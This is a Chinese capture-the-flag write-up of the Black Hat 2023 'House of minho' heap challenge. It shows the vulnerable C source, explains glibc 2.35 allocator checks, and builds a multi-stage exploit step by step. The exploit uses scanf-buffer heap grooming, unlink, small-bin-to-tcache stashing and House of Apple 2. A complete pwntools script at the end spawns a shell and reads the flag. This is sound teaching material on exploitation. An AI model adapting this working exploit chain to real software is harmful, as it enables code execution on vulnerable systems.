[Black Hat 2023] Pwn House of minho writeup
前言
这个是2023 black hat第二天的一道0解pwn题,题目zip放附件了
题目
出题人很友好的给了源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80
char *g_buf;
int getint(const char *msg) {
int val;
printf("%s", msg);
if (scanf("%d%*c", &val) != 1) exit(1);
return val;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
puts("1. new\n2. show\n3. delete");
switch (getint("> ")) {
case 1: { /* new */
if (g_buf) {
puts("[-] Buffer in use");
break;
}
if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = (char*)malloc(SIZE_SMALL);
} else {
g_buf = (char*)malloc(SIZE_BIG);
}
printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
}
case 2: { /* show */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
printf("Data: %s\n", g_buf);
}
break;
}
case 3: { /* delete */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
free(g_buf);
g_buf = NULL;
}
break;
}
default:
puts("[+] Bye!");
return 0;
}
}
}
题面十分的简短,主要实现了三个功能,分别为
- add功能,可以申请
malloc(0x80)
以及malloc(0x40)
,无论申请哪一个,都会read(0, g_buf, 0x80)
- show功能,直接打印
g_buf
- free功能,
free(g_buf)
之后,清空g_buf
Glibc 版本 为2.35-3.1
漏洞
显而易见,漏洞就在add功能中read(0, g_buf, 0x80)
,但是局限十分多
- 申请堆块的大小被严格限制,只有0x40和0x80两种申请
- 可以保存的堆块仅仅只有一块,也就是如果需要再次malloc,必须先free
那么会带来什么问题呢?
首先glibc 2.35已经限制了tcache bin内的chunk不能多malloc一次,也就是如果对应位置的count为0,就不会申请出来,这就否定了直接溢出修改fd导致任意地址申请的方法
1 2 3 4 5 6 7 8 9 10 | p = malloc( 0x40 )
free(p)
p = malloc( 0x80 )
free(p)
p = malloc( 0x40 ) / / 重新申请回上述的 0x40 块
read( 0 , p, 0x80 ) / / 溢出写入到下方的 0x80 块的fd,并修改size改小
free(p)
p = malloc( 0x80 )
free(p) / / 由于上文改小了size,那么这里释放的时候就不会进入 0x90 的管理
p = malloc( 0x80 ) / / 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是 2.35 不行
|
**上述的做法是行不通的!**上述操作之后,0x90管理的位置count已经为0了,所以下次malloc(0x80)就不会从0x90的tcache取出,无法达成任意地址申请
但是上述做法给了一个思路,我们可以通过多次free再次malloc 0x40就可以申请回来第一个堆块,并写入0x80长度,这个溢出很稳定,以及我们可以修改下一个堆块大小,使得绕过tcache多次申请0x90的堆块,那么现在我们需要修改tcachebin管理0x90的count值,使得可以任意地址申请。但是这个很难做到,怎么做呢?请读者继续往下看。
信息收集
如何泄露libc?如何泄露堆地址?
泄露Libc地址
首先我们需要使用House of orange的一个技巧,将Top Chunk的size改小,然后申请一个大的堆块就可以把,Top Chunk放入Unsorted bin内,之后利用溢出覆盖size就可以泄露libc地址了。
但是这里有一个极大的问题!Top chunk需要对其0x1000,但是已有的堆+0x40或者0x80都不可能对齐0x1000,怎么办?
这里需要提到在没有setbuf(stdin,0);的情况下,scanf的输入长文本,回调用malloc、realloc、free,其中如果scanf输入数据大小为0x1000,那么会产生一下调用
1 2 3 4 | p = malloc (0x800);
p = realloc (p, 0x1000);
p = realloc (p, 0x2000);
free (p)
|
那么我们就可以完成Top Chunk的攻击了,以下是泄露libc的exp,并修复损坏的size
1 2 3 4 5 6 7 8 9 10 | add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
|
此时堆块的布局如下
为何下方有0x10的两个块呢?那就需要了解一下unsortedbin的检查
在_int_malloc
中有这么一串代码
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
总结一下就是
- 检查当前unsorted bin内的块
size
位是不是合法的,是否满足0x10 <= size <= system_mem
- 检查当前块下物理地址相邻的下一块
size
是不是合法的,是否满足0x10 <= size <= system_mem
- 检查物理地址相邻的下一块
size
的prev_size
是否和自己的size
相等
- 检查当前指针的
bck->fd
是否等于自己,以及自己的fd
是否是main_arena
内的一个特定地址
- 最后检查物理地址相邻的下一块的
prev_inuse
是不是0
那么如果正常逻辑下Top Chunk被free到unsorted bin,说明当前内存应该全部分配完了,如果原封不动直接放到unsorted bin内,就会触发上述第2、3、5的检查不合法或者溢出,所以为了防止这个事情发生,就需要在下方设置两个小哨兵块,A块的作用是满足上述第2、3、5的检查,设置prev_size等关键数据,而B块的作用是防止A块发生unlink合并,B块的prev_inuse
标志是1,代表A块是使用中,所以不会发生unlink,否则unlink会报错(试想一下,如果没有B块,那么A块没有被使用的,如果申请一个刚好大小为当前unsortbin的块,再释放,那么就会触发向前合并unlink,之后由于A块的fd和bk指针问题,导致程序crash)
到这里,我们压一下脑栈,上述的unsorted bin布局,后文会使用到,我们回到泄露上
泄露heap地址
泄露heap地址相对简单,直接free当前堆块后,由于tcache bin的fd指针具有REVEAL_PTR
的保护,所以Tcache bin的第一块由于fd是0,但是被加密之后会变成0 ^ (heap_adde >> 12)
的值,故可以直接泄露堆地址
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
泄露并修复的exp如下(当前exp衔接泄露libc的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | ...
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x40 + p64( 0 ) + p64( 0x91 ))
|
此时heap地址、Libc地址信息已经收集完毕!我们来看看现在堆长什么样子
当前我们可控的堆块已经标注在图中,为啥叫做可控呢?因为由于tcache的原因,以及我们只能拥有一个堆块,所以free malloc交替进行我们只能控制这两个区域内存(?这两个区域内存我们应该如何做文章呢?请读者压一压脑栈继续往下看。)
利用攻击
信息收集终于结束了,堆也变成了不认识的样子,那么我们攻击的入口在哪里呢?
Small bin -> Tcache bin
答案是Small bin
!
为何选用Small bin呢?阅读源码我们可以知道,Small bin是有机会进入Tcache的,什么时机进入呢?在malloc中如果命中了Small bin某个大小的管理,那么就会将这个大小内的剩下所有块依次取出,放入Tcache内,直至填满Tcache
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
也就是代码中的这个部分,下面代码中,bin就是当前small bin的位置,通过bk索引,反向查找,对于每一个Chunk依次解链,放入了Tcache bin中
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
目标明确,那么命中small bin需要先绕过Tcache,也就是当前Tcache[0x90]
不能有free的堆块,以及需要一次malloc(0x80)
,那么我们伪造的small bin大小也需要是0x90
伪造Small bin(0x90)可行性讨论
如何伪造一个0x90大小的Small bin呢?进入Small bin可以从Unsorted bin进入,如何进入呢?
- 当前Unsorted bin中有一个0x90大小的堆块空闲
- malloc一次大于0x90大小的堆块
size >= 0x90 && malloc(size)
,且不能命中Tcache
条件2比较简单满足,依旧是scanf利用
对于我们现在的堆块布局来说,我们仅仅只能控制0x90堆块size位(看上文的泄露后堆布局情况图片),这个位置能做什么文章呢?那么答案十分明朗:伪造Unsorted bin!
我们先讨论一下,是否可行,我们能溢出可控空间为0x80-0x40=0x40
,这个0x40大小的空间包括了下一个堆块的prev_size
和size
位置,以及堆块内容部分。假设我们能修改上图中0x90堆块的size位置改大,并能成功free,那么就会进入unsorted bin中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局
1 2 3 4 5 6 7 8 9 10 11 12 13 | | prev_size | size |
+ - - - - - - - - - - - - - - - - - - - - +
0x00 | | 0x50 |
0x10 | | | - - 可控起始位置
+ - - - - - - - - - - - - - - - - - - - - + < - Unsorted bin
0x50 | | 0x91 |
0x90 | | |
0xD0 | | | - - 可控终止位置
+ - - - - - - - - - - - - - - - - - - - - +
0xE0 | | 0x10 | - - Chunk A
+ - - - - - - - - - - - - - - - - - - - - +
0xF0 | | 0x11 | - - Chunk B
+ - - - - - - - - - - - - - - - - - - - - +
|
(可控地址指的是,我们可以通过malloc(0x40)向后写0x80字节,以及malloc(0x80)也能写0x80字节,上面例子也就是总长度可控为0x80*2-0x40=0xC0
)
但是可控空间完全不够布置下面的Chunk AB,要怎么办呢?我们需要可控多长呢?
在绞尽脑汁几个小时之后,我注意到了我们貌似浪费了0x50堆块中的0x40长度的大小。怎么办呢?
Unlink扩展溢出距离
这里我们可以利用Unlink手法,使得Unsorted bin向前合并,首先我们构造如下的布局
1 2 3 4 5 6 7 8 9 10 11 | | prev_size | size |
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0x00 | | 0x50 |
0x10 | fd | bk | - - 可控起始位置
0x20 | | 0x31 |
0x30 | fake fd | fake bk |
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0x50 | 0x30 | 0x ? 0 | - - 这里的prev_inuse设置为 0
0x90 | | |
0xD0 | | | - - 可控终止位置
+ - - - - - - - - - - - - - - - - - - - - - - - - +
|
使得在free掉下方堆块的时候可以向后合并,这样子就可以完成溢出可控距离的扩展
那么这个时候再来讨论一下可控长度,我们此时修改Unsorted bin内的布局,此时我们发现可控距离完全足够进行布局了!
1 2 3 4 5 6 7 8 9 10 11 12 13 | | prev_size | size |
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0x00 | | 0x50 |
0x10 | fd | bk | - - 可控起始位置
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0x20 | | 0x91 | < - Unsorted bin
0x90 | | |
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0xB0 | | 0x10 | - - Chunk A
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0xC0 | | 0x11 | - - Chunk B
+ - - - - - - - - - - - - - - - - - - - - - - - - +
0xD0 | | | - - 可控终止位置
|
(仔细观察上面三个布局演示,可控起始和终止的偏移从未变化,仅仅通过Unlink之后利用率提高了)
如何实现Unlink?
只需要满足下面的条件
1 2 3 4 | p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;
|
绕过源码中,下面这个检查
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
但是但是,现在还有一个问题,实现unlink攻击,需要free掉一个大的堆块进入Unsorted bin内,也就是说,我们需要修改原来0x90堆块的size改大,并需要满足free的Unsorted bin检查,也就是,尽量不要进入向前合并流程(因为我们本来可控的空间就只有上面的[0x10,0xD0]
),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!
伪造Unsorted bin
我们再次回顾一下当前的堆布局,可以看到当前unsorted bin下方有一个0x10和0x11的堆块,那么我们假设,如果有某种方法,使得0x90这个堆块覆盖成以下的红色框框圈起来呢?并且是否有方法让下方0x11堆块之后的prev_inuse变成1呢?(为何要为1,因为要防止合并)
什么时候能修改最下方堆块的内容呢?答案是还是scanf
!
scanf的缓冲区会申请再堆内,那我如果缓冲区足够大是否能够刚好往0x11堆块的后面size内写入一些数据呢?写入多少呢?
0x33
!!!因为这个ascii字符是3
,也就是选择free的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分“干净”的时候啦
那么经过测试,再所有操作之前输入0xd58个字符0以及一个字符3即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | def free3( len ):
io.sendlineafter(b "> " , b "0" * ( len - 1 ) + b "3" )
free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x40 + p64( 0 ) + p64( 0x91 ))
|
让我们再看看堆块长什么样子了
WoW!!成功污染!那么我们就能成功伪造Unsorted bin了,稍微微调以下代码可以得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x40 + p64( 0 ) + p64( 0xd01 ))
free()
add( 2 , b "aaaa" )
free()
|
此时我们可以看到unsorted bin内如愿以偿的放入了我们的Fake Chunk!
Unlink攻击以及Smallbin伪造攻击实施
感谢你耐心看到这里,相信你现在脑栈已经快爆了,终于我们迎来了弹出脑栈的步骤了
将上文的Unlink攻击实施,微调Exp可以得到如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x10 + p64( 0 ) + p64( 0x31 ) + p64(heap_base + 0x2c0 ) * 2 + b "a" * 0x10 + p64( 0x30 ) + p64( 0xd00 ))
free()
add( 2 , b "aaaa" )
free()
|
此时堆块就不那么好看了。
如此查看我们可以发现unlink成功实施了,Unsorted bin内第一个堆块从0xd00变成了0xd30
那么继续我们将伪造Small bin的攻击实施,再次微调Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x10 + p64( 0 ) + p64( 0x31 ) + p64(heap_base + 0x2c0 ) * 2 + b "a" * 0x10 + p64( 0x30 ) + p64( 0xd00 ))
free()
add( 2 , b "a" * 0x50 + p64( 0x90 ) + p64( 0x10 ) + p64( 0x00 ) + p64( 0x11 ))
free()
add( 1 , flat({
0x10 : 0 ,
0x18 : 0x91 ,
0x20 : heap_base + 0x380 ,
0x28 : libc_base + 0x219ce0 ,
}, filler = b "\x00" ))
show2( 0x1000 )
free()
|
让我们再次检验堆块的结构!完美成功进入了Small bin!!!
那么接下来我们就要开始在Small bin里面伪造一条多个0x90的链条,使得再次malloc(0x80)命中small bin的时候,放入Tcache bin中
修改Small bin
首先我们需要知道我们能改动多长?0x80长度,然而除去tcache bin的fd和bk位置,仅剩下0x70长度可以可控,也就是说,我们需要在0x70的长度中尽可能多的伪造0x90堆块,并串起来
我们仅仅只能伪造3个0x90的堆块,如何伪造?
可以参考如下图的伪造方法,可以看到这里bk连线串成了一条链
注意红色Chunk位置的fd设置,需要绕过small bin中的检查(下面源码),而黄色的绿色的fd是否需要设置,留给读者们讨论
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
那么稍微微调一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x10 + p64( 0 ) + p64( 0x31 ) + p64(heap_base + 0x2c0 ) * 2 + b "a" * 0x10 + p64( 0x30 ) + p64( 0xd00 ))
free()
add( 2 , b "a" * 0x50 + p64( 0x90 ) + p64( 0x10 ) + p64( 0x00 ) + p64( 0x11 ))
free()
add( 1 , flat({
0x10 : 0 ,
0x18 : 0x91 ,
0x20 : heap_base + 0x380 ,
0x28 : libc_base + 0x219ce0 ,
}, filler = b "\x00" ))
show2( 0x1000 )
free()
add( 1 , flat({
0x10 : {
0x00 : 0 ,
0x08 : 0x91 ,
0x10 : heap_base + 0x2c0 ,
0x18 : heap_base + 0x2c0 + 0x30 ,
0x30 : 0 ,
0x38 : 0x91 ,
0x40 : heap_base + 0x2c0 ,
0x48 : heap_base + 0x2c0 + 0x50 ,
0x50 : 0 ,
0x58 : 0x91 ,
0x60 : heap_base + 0x2c0 + 0x30 ,
0x68 : libc_base + 0x219d60
}
}
, filler = b "\x00" ))
free()
|
此时堆布局如下
可以看到出现了错误,不过问题不大,源码时通过BK进行遍历的,在BK位置确实出现了3个Chunk
此时我们就可以malloc(0x80)命中一次Small bin的0x90
那么此时堆块就会变成,下面这样!WoW,我们可以控制Tcache bin 0x90位置的fd指针!并且此时0x90位置的Count有3!!!
胜利的曙光就在眼前了,接下来是House of apple 2登场!
House of Apple 2
House of Apple 2的教程见https://bbs.kanxue.com/thread-273832.htm,这里膜拜一下Orz
经过我的调优可以简化到如下的布局
1 2 3 4 5 6 7 8 9 | system = 0x50d60 + libc_base
fake_file = flat({
0x0 : b " sh;" ,
0x28 : system,
0xa0 : fake_file_addr - 0x10 ,
0x88 : fake_file_addr + 0x100 ,
0xD0 : fake_file_addr + 0x28 - 0x68 ,
0xD8 : libc_base + 0x2160C0 ,
}, filler = b "\x00" )
|
我们需要结合当前的情况在做调整,首先我们需要再次延长可控的空间,方法也简单,毕竟Tcache bin的Count有3,我们可以先伪造一次fd到堆上,再伪造进入_IO_list_all
(为何不劫持Tcache bin管理块呢?因为我们只能拥有一个堆块,需要free之后再次malloc才能控制下一个,一旦劫持到Tcachebin 管理块,没有一个合适的size位置,是无法成功free的)
由于大小范围可控需要0xe0长度,所以我们第一个堆块需要扩展一次,使用上面的0x50的堆块对下面0x90tcache的溢出修改,使得布局如下图,这样子Chunk 1申请出来的时候,可以保证能控制到Chunk 2的fd,依旧能继续攻击,也能延长可控范围到0xf0,使得攻击成立,而Chunk 1的size改为0x71是为了防止free之后进入0x90导致后面的Chunk无法取出
那么经过简单的布置,最终攻击_IO_list_all
之后,就完成了House of Apple 2的攻击
完整Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
io = remote( "127.0.0.1" , 5000 )
tob = lambda x: str (x).encode()
def add(size, content):
io.sendlineafter(b "> " , b "1" )
io.sendlineafter(b "Size [1=small / 2=big]: " , tob(size))
io.sendafter(b "Data: " , content)
def add2(size_content, content):
io.sendlineafter(b "> " , b "1" )
io.sendlineafter(b "Size [1=small / 2=big]: " , size_content)
io.sendafter(b "Data: " , content)
def show():
io.sendlineafter(b "> " , b "2" )
def show2( len ):
io.sendlineafter(b "> " , b "0" * ( len - 1 ) + b "2" )
def show3( len ):
io.sendlineafter(b "> " , b "0" * ( len - 1 ) + b "2" + b "\x00" )
def free():
io.sendlineafter(b "> " , b "3" )
def free3( len ):
io.sendlineafter(b "> " , b "0" * ( len - 1 ) + b "3" )
free3( 0xd59 )
add( 1 , b "a" * 0x48 + p64( 0xd11 ))
show2( 0x1000 )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
libc_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) - 0x219ce0
log.success(f "libc_base : {libc_base:#x}" )
free()
add( 1 , b "a" * 0x48 + p64( 0xcf1 ))
free()
add( 2 , b "a" )
free()
add( 1 , b "aaaa" )
free()
add( 2 , b "aaaa" )
free()
add( 1 , b "a" * 0x50 )
show()
io.recvuntil(b "Data: " + b "a" * 0x50 )
heap_base = u64(io.recvuntil(b "\n" , drop = True ).ljust( 8 , b "\x00" )) << 12
log.success(f "heap_base : {heap_base:#x}" )
free()
add( 1 , b "a" * 0x10 + p64( 0 ) + p64( 0x31 ) + p64(heap_base + 0x2c0 ) * 2 + b "a" * 0x10 + p64( 0x30 ) + p64( 0xd00 ))
free()
add( 2 , b "a" * 0x50 + p64( 0x90 ) + p64( 0x10 ) + p64( 0x00 ) + p64( 0x11 ))
free()
add( 1 , flat({
0x10 : 0 ,
0x18 : 0x91 ,
0x20 : heap_base + 0x380 ,
0x28 : libc_base + 0x219ce0 ,
}, filler = b "\x00" ))
show2( 0x1000 )
free()
add( 1 , flat({
0x10 : {
0x00 : 0 ,
0x08 : 0x91 ,
0x10 : heap_base + 0x2c0 ,
0x18 : heap_base + 0x2c0 + 0x30 ,
0x30 : 0 ,
0x38 : 0x91 ,
0x40 : heap_base + 0x2c0 ,
0x48 : heap_base + 0x2c0 + 0x50 ,
0x50 : 0 ,
0x58 : 0x91 ,
0x60 : heap_base + 0x2c0 + 0x30 ,
0x68 : libc_base + 0x219d60
}
}
, filler = b "\x00" ))
free()
add( 2 , b "aaaa" )
free()
_IO_list_all = libc_base + 0x21a680
system = 0x50d60 + libc_base
fake_file = heap_base + 0x2e0
add( 1 , b "a" * 0x10 + p64( 0 ) + p64( 0x71 ) + p64((heap_base + 0x2d0 + 0x70 )^((heap_base)>> 12 )))
free()
add( 2 , flat({
0x0 + 0x10 : b " sh;" ,
0x28 + 0x10 : system,
0x68 : 0x71 ,
0x70 : _IO_list_all ^((heap_base)>> 12 ),
}, filler = b "\x00" ))
free()
add( 2 , flat({
0xa0 - 0x60 : fake_file - 0x10 ,
0xd0 - 0x60 : fake_file + 0x28 - 0x68 ,
0xD8 - 0x60 : libc_base + 0x2160C0 ,
}, filler = b "\x00" ))
free()
add( 2 , p64(fake_file))
pause( 1 )
io.sendline(b "0" )
pause( 1 )
io.sendline(b "cat /flag*" )
io.interactive()
|
Flag获得完结撒花!
[课程]Android-CTF解题方法汇总!
最后于 2023-11-19 00:39
被Csome编辑
,原因: 修复图片